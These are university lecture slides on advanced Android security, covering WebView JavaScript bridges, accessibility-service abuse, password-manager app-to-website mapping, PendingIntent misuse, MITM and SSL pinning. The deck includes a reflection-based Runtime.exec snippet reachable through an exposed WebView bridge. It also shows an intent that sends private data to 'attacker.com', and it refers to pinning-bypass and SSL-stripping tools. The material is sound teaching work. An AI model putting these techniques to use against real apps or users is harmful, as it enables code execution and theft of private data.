1 of 83

Mobile Systems and Smartphone Security�(MOBISEC)

Prof: Yanick Fratantonio�EURECOM

1

Advanced Topics on Android System & Security�Part 2

2 of 83

Today

  • More details on Android system & security features

​

  • Next: Complex Android features and APIs

​

  • HTTP vs HTTPs vs SSL Pinning demystification

2

3 of 83

WebViews�&�Mobile Web Browsers

3

4 of 83

WebView

  • A particular type of View to display web pages

​

  • The WebView is embedded in your app

​

  • It is not a full-fledged browser (less features)...
    • No "navigation control" or address bar

​

  • ... but it is more customizable

4

5 of 83

WebView & JavaScript

  • It can be configured so that the Javascript code can interact with the Java (core) part of the app!
  • A WebView can be setup to execute JavaScript (like a traditional browser)

​

​

​

5

WebView myWebView = (WebView) findViewById(R.id.webview);

WebSettings webSettings = myWebView.getSettings();

webSettings.setJavaScriptEnabled(true);

6 of 83

Example of WebView + Javascript ⇔ Java (doc)

6

WebView webView = (WebView) findViewById(R.id.webview);

webView.addJavascriptInterface(new WebAppInterface(this), "Android");

public class WebAppInterface {

...

@JavascriptInterface

public void showToast(String toast) {

Toast.makeText(mContext, toast, Toast.LENGTH_SHORT).show();

}

}

<input type="button" value="hello" onClick="showAndroidToast('Hello!')" />

<script type="text/javascript">

function showAndroidToast(toast) { Android.showToast(toast); }

</script>

7 of 83

Security problems with Javascript / Java

  • Who controls the javascript?
    • Is the HTML/javascript fully controllable by the developer?
    • How is the HTML retrieved?
      • Hardcoded (assets, res, etc.) in the app?
      • Is it downloaded? From where? How? HTTP?

​

  • If an attacker can modify the HTML, she can invoke/execute the (exposed) Java methods within the context of the victim app!

7

8 of 83

In the past, it was even worse

  • Up to Android 4.2, the @JavascriptInterface was NOT mandatory to be able to invoke a Java method from Javascript ⇒ all methods exposed by default

8

<script>

function execute(cmdArgs)

{

return SomeObject.getClass().forName("java.lang.Runtime") \ � .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

}

execute(["echo","bam"]);

</script>

9 of 83

Javascript bridge bugs can lead to RCE vulns

  • Researchers found vulnerable code in advertisement frameworks

​

​

9

10 of 83

Security of WebView

  • WebView is "complicated code" that potentially processes "input from an attacker"
    • Security problem!

​

  • "complicated code": it needs to read html/javascript and render/execute it
    • Very, very, very complex!

10

11 of 83

Security Updates to WebViews

  • Up to Android 5.0, "WebView" was a component implemented in the Android framework

​

  • Big problem when security bugs are found there
    • Due to the slow update cycle

​

  • Solution: since Android 5.0, WebView is broken up into a separate app, which can be updated independently from the Android framework

11

12 of 83

WebView ~> Start the browser

  • If you want to show a webpage to the user, the app can start the real browser app

​

  • Send an intent with action "ACTION_VIEW" and data "https://yourwebsite.com" (doc)

​

  • Common trick to bypass INTERNET permission!

12

13 of 83

INTERNET permission bypass

  • Example: Leak data via HTTP GET parameters

​

  • Create an intent with
    • action: ACTION_VIEW
    • data: http://attacker.com?info=<privateinfofromuser>

​

  • Drawback: limited throughput

​

  • Example of "confused deputy"

13

14 of 83

Concept: "Confused Deputy Problem"

  • Scenario: malicious app X wants to perform action A, but it does not have permission

​

  • Attack:
    • Find app Y that has permission to perform action A
    • "Ask" app Y to perform action A on X's behalf

​

  • Several classes of vulnerabilities fall under this umbrella

​

  • About the browser: it's "by design", not going to be fixed

14

15 of 83

Web Browsers

  • Javascript is code that can run within the browser (Chrome, Firefox, Safari, ...)

​

  • Conceptually, the browser implements a sandbox for javascript code execution

​

  • Javascript has access to a number of APIs...

15

16 of 83

Web Browsers on Mobile

  • Within the context of mobile browsers: Sensor APIs

​

  • Website / javascript can access information about:
    • Motion (acceleration and rotation rate)
    • Orientation
    • Proximity (Is the phone close to the ear during a call?)
      • Supported by Firefox, now deprecated
    • Ambient Light (ambient light level readings in lux units)
      • Supported by Firefox, now deprecated

​

  • Researchers found abuse by advertisement: paper

16

17 of 83

Accessibility Service

17

18 of 83

Accessibility Service - a11y

  • Mechanism for apps to assist users with disabilities

​

  • An app can "act" as an accessibility service
    • Permission required

​

  • Many powerful capabilities
    • It is notified for each UI event
      • E.g., new UI objects on the screen, user's clicks
    • It can inject UI events (e.g., clicks)

​

  • Popular apps use it (password managers, app lockers, ...)

18

19 of 83

Accessibility Service - a11y

  • It is not strictly security-related...

​

  • ... but it is so powerful that it *is* security-related!

​

  • A couple of security mechanisms to prevent abuse...

19

20 of 83

Security Mechanism #1

21 of 83

Security Mechanism #2

  • Accessibility service cannot read “sensitive information” off the screen.
  • Example: password fields

“Since an event contains the text of its source privacy can be compromised by leaking sensitive information such as passwords. To address this issue any event fired in response to manipulation of a PASSWORD field does NOT CONTAIN the text of the password.”

22 of 83

Accessibility Service - a11y

  • Attack #1
    • Find an excuse to require it and simply ask the user!
    • Still effective

​

  • Attack #2: Cloak & Dagger paper
    • Clickjacking attack to "steal" users' clicks (patched in latest versions)
      • Paper @ IEEE S&P'17: link
      • Demo: https://youtu.be/RYQ1i03OVpI
    • A11y events leak user credentials...

22

23 of 83

Disclosure of a11y bugs (August 22nd 2016)

  • Bug marked as “Won’t fix, work as intended” (September 30th)

​

  • Bug marked as “High severity” (October 18th)

​

  • Downgraded to “Won’t fix” because “limiting those services would render the device unusable” (November 28th)

​

  • “We will update the documentation” (May 4th)

​

  • AND THEY DID!!!11!1!

24 of 83

a11y documentation “patch”

  • AccessibilityEvent’s “security note” is silently removed

​

  • “Patch the documentation, not the code”

​

  • 0day in the documentation! Where is my CVE?! :-)

25 of 83

Password Managers�&�Autofill Framework

25

26 of 83

Mobile Password Managers

27 of 83

Three Technologies

  • Accessibility Service

​

  • Android Autofill Framework (new in Android 8.0)

28 of 83

Autofill Framework

  • A PM app can "act" as an autofill service

​

  • A callback is invoked when the user visits a "fillable" activity

​

  • The PM can retrieve the package name of the target app...

​

  • ... and it then decides which credentials to suggest

28

29 of 83

Three Technologies

  • Accessibility Service

​

  • Android Autofill Framework (new in Android 8.0)

​

  • OpenYOLO
    • Protocol / framework to store / update / autofill credentials
    • The "target" app is modified to include OpenYolo client
    • Open source: github, led by DashLane & Google

30 of 83

OpenYOLO Diagram

30

31 of 83

Three Technologies

  • Accessibility Service

​

  • Android Autofill Framework (new in Android 8.0)

​

  • OpenYOLO

In all cases, an app’s package name is�the starting point to map app ↔ website!

32 of 83

33 of 83

Mobile Password Managers

How can a password manager know that this app is really linked to facebook.com???

This step is trivial for�browser password managers,�but not on Android...

34 of 83

Package Names Can’t Be Trusted

  • Nobody is checking / vetting package names

​

  • No trust relation between “package” and “subpackage”
    • E.g., easy to get an app on the official Play Store with “com.facebook.evil” package name

35 of 83

Real-World Password Managers

36 of 83

Dashlane

  • Heuristic to infer the mapping from the package name
    • It splits the package name in components
      • E.g., “aaa.bbb.ccc” →”aaa”, “bbb”, “ccc”
    • For each component, it checks if at least 3 of its characters are contained in the “website” field of each entry

“xxx.face.yyy”→”facebook.com”

“com.inst.lin.ube”→�”instagram.com”, “linkedin.com”, “uber.com”

37 of 83

LastPass

  • Heuristic to infer the mapping from the package name
    • It reverses the package name and check for common suffixes with “website” fields of each entry

​

​

“com.facebook.evil”→”facebook.com”

  • Crowdsourced mapping
    • Using user-supplied package name ↔ website associations
    • Can an attacker inject her own malicious mapping?

38 of 83

Keeper

  • It takes the package name…

​

  • … it queries the Play Store…

39 of 83

40 of 83

Hidden Fields

  • 1x1 pixels

​

  • Foreground color = Background color

​

  • Make fields transparent

​

  • Set “visibility” field to “gone”

ACM Conference on Computer and Communications Security (CCS '18)

Link to paper

41 of 83

Instant Apps

42 of 83

42

43 of 83

Instant Apps

  • The developer can upload a "subset" of her app as an "instant app"

​

  • The developer can associate a specific URL to the instant app ⇒ when the user visits that URL, the system will prompt her about the instant app possibility

​

  • Instant apps can be "tried out" without full installation

43

44 of 83

Instant Apps Flow

FULL UI

CONTROL!!!

45 of 83

End-to-end attack: phishing with few clicks

com.paypal.evil

46 of 83

The Right Way™

  • Rely on Digital Asset Links (DAL)

​

  • A website can say “apps signed by this certificate are OK”

​

​

47 of 83

The Right Way™

  • Rely on Digital Asset Links (DAL)

​

  • A website can say “apps signed by this certificate are OK”

​

​

{� "relation":� ["delegate_permission/common.get_login_creds"],� "target": {� "namespace": "android_app",� "package_name": "com.facebook.katana",� "sha256_cert_fingerprints": [� "E3:F9:E1:E0:CF:99:D0:E5:6A:05:5B:..."� ]� }

}

​

Only ~2% of domain names support this*

ACM Conference on Computer and Communications Security (CCS '18)

*as of late 2018

48 of 83

Notifications

48

49 of 83

Notifications

  • Apps can create "notifications"

​

  • Notifications often contain sensitive information
    • Private messages (WhatsApp, Signal, etc.)
    • Two-factor authentication token

​

  • An app can request access to these notifications

49

50 of 83

NotificationListenerService

  • A service that receives calls from the system when new notifications are posted or removed

​

  • The user needs to manually grant this capability to the app

Intent intent = new Intent(� "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS");

startActivity(intent);

​

50

51 of 83

NotificationListenerService

<service android:name=".NotificationListener"

android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">

<intent-filter>

<action android:name="android.service.notification.NotificationListenerService" />

</intent-filter>

</service>

The app is NOT requesting a permission,�it's defending itself from other apps!

51

52 of 83

Notifications Creation (doc)

NotificationCompat.Builder mBuilder = new� NotificationCompat.Builder(this, CHANNEL_ID)

.setSmallIcon(R.drawable.notification_icon)

.setContentTitle("My notification")

.setContentText("Much longer text...")

.setStyle(new NotificationCompat.BigTextStyle()

.bigText("Much longer text..."))

.setPriority(NotificationCompat.PRIORITY_DEFAULT);

NotificationManagerCompat notificationManager = NotificationManagerCompat.from(this);

notificationManager.notify(notificationId, mBuilder.build());

​

52

Unique ID identifying the notification

53 of 83

Notifications Creation - Tap Action

NotificationCompat.Builder mBuilder = new� NotificationCompat.Builder(this, CHANNEL_ID)

.setSmallIcon(R.drawable.notification_icon)

.setContentTitle("My notification")

.setContentText("Much longer text...")

.setStyle(new NotificationCompat.BigTextStyle()

.bigText("Much longer text..."))

.setPriority(NotificationCompat.PRIORITY_DEFAULT)

.setContentIntent(pendingIntent);

​

Intent intent = new Intent(this, TargetActivity.class);

PendingIntent pend = PendingIntent.getActivity(this, 0, intent, 0);

​

53

54 of 83

Pending Intent (doc)

  • "A description of an Intent and target action to perform with it."

​

  • "By giving a PendingIntent to another application, you are granting it the right to perform the operation you have specified as if the other application was yourself (with the same permissions and identity)."

54

55 of 83

Pending Intent

  • An application that has access to "pend" can start "TargetActivity", even if target activity is NOT exported

​

  • Common mistake: create a PendingIntent with an Intent that does NOT specify the target activity

Intent intent = new Intent(this, TargetActivity.class);

PendingIntent pend = PendingIntent.getActivity(this, 0, intent, 0);

​

55

56 of 83

Pending Intent

  • Rule: "The target Component or Action of the base Intent cannot be overridden by an attacker if already defined by the sender"

​

  • Attack: if component/action are not defined, an attacker can now start any (private) activity within the victim app (by changing component/action accordingly)

56

57 of 83

Pending Intent

  • How can an attacker get access to a pending intent?

​

  • Two scenarios
    • The app acts as a malicious notification listener
    • The vulnerable app mistakenly "leaks" the pending intent around

57

58 of 83

Pending Intent

Example taken from PIAnalyzer, ESORICS18 (paper)

58

Powerful pending intent

Leaked around

Leaked around

59 of 83

Man-In-The-Middle Attack (MITM)

59

60 of 83

60

User

website.com

???

MITM

61 of 83

61

Attacker

User

website.com

Attacker

62 of 83

MITM: passive vs. active

  • Passive: the attacker just observes the messages without modifying them

​

  • Active: the attacker intercepts & modifies the messages

62

63 of 83

MITM for reversing

  • 1) Configure the device to use a proxy/gateway

​

  • 2) Setup a proxy on your laptop

​

  • 3) Now all connections go through it

63

64 of 83

Proxy vs. gateway vs. VPN

  • Proxy
    • The system "knows" there is a proxy... and apps can choose to use it!
      • Browsers usually honor proxy settings
    • Apps can bypass it if they want!
    • Pros: it usually does not require root or low-level tricks

​

  • Gateway / VPN
    • *all* *packets* go through the gateway
    • gateway/VPN can be set in wifi settings
    • advanced tricks (e.g., "only redirect app X") may require iptables/root

64

65 of 83

Proxy / Gateway in practice

  • Emulator
    • ./emulator @AVDNAME -http-proxy http://localhost:8080
    • Note: it's called "proxy", but it "Make all TCP connections through a specified HTTP/HTTPS proxy." (docs)

​

  • Real device
    • ProxyDroid
      • It uses iptables magic, it requires root
      • It uses native code, but it ships only for ARM (that's why I couldn't run it on emulator)
    • Shadowsocks
      • Many tricks, you can also setup a VPN (which does not require root)

65

66 of 83

Proxy / Gateway in practice

  • mitmproxy
    • This is the actual proxy that runs on your laptop, and through which all connections go through
    • ./mitmproxy --set anticache=true
    • Companion tools: mitmdump and mitmweb

​

  • Burp
    • Professional tool, probably the most used one by web hackers
    • $$$, but there is a usable demo

66

67 of 83

HTTP / HTTPS / Pinning

67

68 of 83

Demystifying HTTP vs HTTPS

​

​

​

  • The communication is NOT encrypted
    • Everybody on your path / wifi network can see everything
  • The communication is NOT authenticated
    • Are you talking with the "real" facebook.com? No idea.
  • Network Man-In-The-Middle (MITM) attacks are possible
    • Both passive (reading) and active (traffic manipulation, code injection)
  • HTTP: Hypertext Transfer Protocol
    • Main protocol to interact with websites

68

69 of 83

Demystifying HTTP vs HTTPS

  • HTTPS: Hypertext Transfer Protocol Secure
    • Secure evolution of HTTP

​

​

​

  • The communication IS encrypted (with TLS)
    • An attacker cannot read what's being transmitted
  • The communication IS authenticated
    • If there is a "lock" next to facebook.com, you know that's the real one
  • Network MITM attacks are not possible
    • No reading / no modifications
    • (well, you can still read the encrypted traffic...)

69

70 of 83

HTTPS does not imply "it's trusted"!

  • The image on the right just means�"you are securely talking to docs.google.com"

​

  • It does NOT imply that "docs.google.com" is trusted!
    • You, as a user, know that docs.google.com is the official/trusted Google Docs domain name, but that's not something that HTTPS can tell you

​

  • Fact: ~50% of phishing websites now use HTTPS
    • Check this article out

70

71 of 83

HTTPS Certificates

  • How does your browser know that it's actually talking to the real facebook.com?

​

  • HTTPS Certificates!

​

  • Chain of trust... until a "root certificate" says "OK"
    • Browsers embed a list of "trusted certificate authorities"...

71

72 of 83

HTTPS Certificates

  • HTTPS Certificates & chain of trust!
    • Facebook generates a certificate (private / public keys pair)
    • Facebook asks a Certificate Authority (CA) to sign it
    • The CA has its own certificate signed by another CA ...
    • ... all these signatures build a chain of trust
    • When to stop?

​

  • Browsers / devices have a list of certificates they trust
    • These CAs constitute the "root of trust"

72

73 of 83

HTTPS MITM?

  • HTTPS makes app analysis more difficult
    • You can't just setup a proxy...
    • ... oh well, you could, but you would see only HTTPS encrypted traffic

​

  • But what if you are the owner of the system / app?

​

  • Can you modify your system so that you can see what's going on?

73

74 of 83

HTTPS MITM

  • Trick #1
    • "SSL Strip" / Downgrade attack
    • When you see a request in HTTPS, rewrite the packets so that it becomes a request in HTTP
    • Tool: sslstrip

​

  • Counter-trick:
    • HTTP Strict Transport Security (HSTS)
      • The website tells the browser "from now on, use only HTTPS. Refuse HTTP"
      • Very good! (But it can be abused for privacy: link)
      • Nowadays: many domain names are protected by HSTS even before the first query, modern browsers ship with a list

74

75 of 83

HTTPS MITM

  • Trick #2
    • Add a new "trusted" certificate to your system (browser / device)
    • Powerful attackers: obtain a "valid" certificate for target website
      • E.g., by compromising a CA

​

  • Counter-trick:
    • HTTP Public Key Pinning (HPKP) / SSL Pinning
      • The browser keeps a list of "which known certificate is associated to known websites"
      • Example: "I expect google.com's public key to be ABC"
        • ⇒ "I refuse to trust public key XYZ, even if properly signed by a proper CA"

75

76 of 83

HTTPS MITM on mobile (more info here)

  • Attack:
    • Install a custom certificate on the device
    • Now you can forge valid SSL certificates, and do MITM
    • See mitmproxy documentation for HTTPS MITM: link

URL url = new URL("https://wikipedia.org");

URLConnection urlConnection = url.openConnection();

InputStream in = urlConnection.getInputStream();

copyInputStreamToOutputStream(in, System.out);

76

That's enough to�use HTTPS!

77 of 83

App counter trick: SSL Pinning (more info here)

  • App checks WHICH certificate is signing the public key

​

  • App can use a custom TrustManager (doc) to "manually" check which certificate is used
    • If the certificate is not one of the few trusted ⇒ raise exception

​

  • Attacker counter-counter-trick!
    • Modify the app so that the TrustManager says OK to everything
    • "Universal Android SSL Pinning Bypass" with Frida: link
      • Check could be done in native code!
      • Not sure if really really universal... ;-)

77

78 of 83

HTTPS-related protection mechanisms

​

​

​

​

  • Starting from Android 7
    • user certificates are NOT trusted by default
  • Device Monitoring Warning
    • The user knows there is the potential�of HTTPS interception against her will

78

Image from here

79 of 83

Cleartext network policy

  • In Android 6.0, new StrictMode to make sure the app doesn't use cleartext

​

  • In Android 9.0: all clear text traffic is blocked by default (details)

79

80 of 83

Android Network Security Policy (guide)

  • An app can now specify a network security policy

​

  • It can enforce that domain X should always be accessed with HTTPS

​

  • It can specify a set of certificates for SSL pinning

​

  • Great!!
    • Cons: also great for an attacker, easy to disable everything in one shot!

80

81 of 83

Network Security Policy (default for API [24, 27])

<?xml version="1.0" encoding="utf-8"?>

<network-security-config>

<base-config cleartextTrafficPermitted="true">

<trust-anchors>

<certificates src="system" />

</trust-anchors>

</base-config>

</network-security-config>

81

82 of 83

Network Security Policy (default for API [28, -))

<?xml version="1.0" encoding="utf-8"?>

<network-security-config>

<base-config cleartextTrafficPermitted="false">

<trust-anchors>

<certificates src="system" />

</trust-anchors>

</base-config>

</network-security-config>

82

83 of 83

Network Security Policy (default for API (-, 23])

<?xml version="1.0" encoding="utf-8"?>

<network-security-config>

<base-config cleartextTrafficPermitted="true">

<trust-anchors>

<certificates src="system" />

<certificates src="user" />

</trust-anchors>

</base-config>

</network-security-config>

83

"Towards HTTPS Everywhere on Android: We Are Not There Yet"�USENIX Security 2020